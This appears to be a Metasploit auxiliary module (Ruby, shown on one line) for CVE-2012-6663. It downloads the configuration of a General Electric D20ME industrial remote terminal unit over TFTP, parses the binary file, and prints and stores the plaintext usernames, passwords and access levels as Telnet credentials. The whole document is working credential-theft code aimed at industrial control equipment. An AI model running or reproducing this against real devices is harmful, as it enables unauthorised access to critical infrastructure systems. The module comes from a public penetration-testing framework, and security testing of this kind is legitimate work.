## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## ## # This module grabs the device configuration from a GE D20M* RTU and # parses the usernames and passwords from it. ## require 'msf/core' require 'rex/ui/text/shell' require 'rex/proto/tftp' class MetasploitModule < Msf::Auxiliary include Rex::Ui::Text include Rex::Proto::TFTP include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'General Electric D20 Password Recovery', 'Description' => %q{ The General Electric D20ME and possibly other units (D200?) feature TFTP readable configurations with plaintext passwords. This module retrieves the username, password, and authentication level list. }, 'Author' => [ 'K. Reid Wightman ' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-6663'], ], 'DisclosureDate' => 'Jan 19 2012' )) register_options( [ Opt::RPORT(69), Opt::RHOST('192.168.255.1'), OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"]) ], self.class) end def setup @rhost = datastore['RHOST'] @rport = datastore['RPORT'] || 69 @lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025)) @lhost = datastore['LHOST'] || "0.0.0.0" @rfile = datastore['REMOTE_CONFIG_NAME'] end def cleanup if @tftp_client and @tftp_client.respond_to? :complete while not @tftp_client.complete select(nil,nil,nil,1) vprint_status "Cleaning up the TFTP client ports and threads." @tftp_client.stop end end end def rtarget(ip=nil) if (ip or rhost) and rport [(ip || rhost),rport].map {|x| x.to_s}.join(":") << " " elsif (ip or rhost) rhost else "" end end # Retrieve the file def retrieve print_status("Retrieving file") @tftp_client = Rex::Proto::TFTP::Client.new( "LocalHost" => @lhost, "LocalPort" => @lport, "PeerHost" => @rhost, "PeerPort" => @rport, "RemoteFile" => @rfile, "Action" => :download ) @tftp_client.send_read_request { |msg| print_tftp_status(msg) } @tftp_client.threads do |thread| thread.join end # Wait for GET to finish while not @tftp_client.complete select(nil, nil, nil, 0.1) end fh = @tftp_client.recv_tempfile return fh end # Builds a big-endian word def makeword(bytestr) return bytestr.unpack("n")[0] end # builds abi def makelong(bytestr) return bytestr.unpack("N")[0] end # Returns a pointer. We re-base the pointer # so that it may be used as a file pointer. # In the D20 memory, the file is located in flat # memory at 0x00800000. def makefptr(bytestr) ptr = makelong(bytestr) ptr = ptr - 0x00800000 return ptr end # Build a string out of the file. Assumes that the string is # null-terminated. This will be the case in the D20 Username # and Password fields. def makestr(f, strptr) f.seek(strptr) str = "" b = f.read(1) if b != 0 str = str + b end while b != "\000" b = f.read(1) if b != "\000" str = str + b end end return str end # configuration section names in the file are always # 8 bytes. Sometimes they are null-terminated strings, # but not always, so I use this silly helper function. def getname(f, entryptr) f.seek(entryptr + 12) # three ptrs then name str = f.read(8) return str end def leftchild(f, entryptr) f.seek(entryptr + 4) ptr = f.read(4) return makefptr(ptr) end def rightchild(f, entryptr) f.seek(entryptr + 8) ptr = f.read(4) return makefptr(ptr) end # find the entry in the configuration file. # the file is a binary tree, with pointers to parent, left, right # stored as 32-bit big-endian values. # sorry for depth-first recursion def findentry(f, name, start) f.seek(start) myname = getname(f, start) if name == myname return start end left = leftchild(f, start) right = rightchild(f, start) if name < myname if left < f.stat.size and left != 0 res = findentry(f, name, leftchild(f, start)) else res = nil # this should perolate up end end if name > myname if right < f.stat.size and right != 0 res = findentry(f, name, rightchild(f, start)) else res = nil end end return res end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end # Parse the usernames, passwords, and security levels from the config # It's a little ugly (lots of hard-coded offsets). # The userdata starts at an offset dictated by the B014USERS config # offset 0x14 (20) bytes. The rest is all about skipping past the # section header. def parseusers(f, userentryptr) f.seek(userentryptr + 0x14) dstart = makefptr(f.read(4)) f.seek(userentryptr + 0x1C) numentries = makelong(f.read(4)) f.seek(userentryptr + 0x60) headerlen = makeword(f.read(2)) f.seek(userentryptr + 40) # sorry decimal entrylen = makeword(f.read(2)) # sorry this is decimal logins = Rex::Text::Table.new( 'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)", 'Indent' => 1, 'Columns' => ["Type", "User Name", "Password"]) 0.upto(numentries -1).each do |i| f.seek(dstart + headerlen + i * entrylen) accounttype = makeword(f.read(2)) f.seek(dstart + headerlen + i * entrylen + 2) accountname = makestr(f, dstart + headerlen + i * entrylen + 2) f.seek(dstart + headerlen + i * entrylen + 2 + 22) accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22) if accountname.size + accountpass.size > 44 print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}") break end logins << [accounttype, accountname, accountpass] report_cred( ip: datastore['RHOST'], port: 23, service_name: 'telnet', user: accountname, password: accountpass, proof: accounttype ) end if not logins.rows.empty? loot = store_loot( "d20.user.creds", "text/csv", datastore['RHOST'], logins.to_s, "d20_user_creds.txt", "General Electric TELNET User Credentials", datastore['RPORT'] ) print_line logins.to_s print_status("Loot stored in: #{loot}") else print_error("No data collected") end end def parse(fh) print_status("Parsing file") File.open(fh.path, 'rb') do |f| used = f.read(4) if used != "USED" print_error "Invalid Configuration File!" return end f.seek(0x38) start = makefptr(f.read(4)) userptr = findentry(f, "B014USER", start) if userptr != nil parseusers(f, userptr) else print_error "Error finding the user table in the configuration." end end end def run fh = retrieve parse(fh) end def print_tftp_status(msg) case msg when /Aborting/, /errors.$/ print_error [rtarget,msg].join when /^WRQ accepted/, /^Sending/, /complete!$/ print_good [rtarget,msg].join else vprint_status [rtarget,msg].join end end end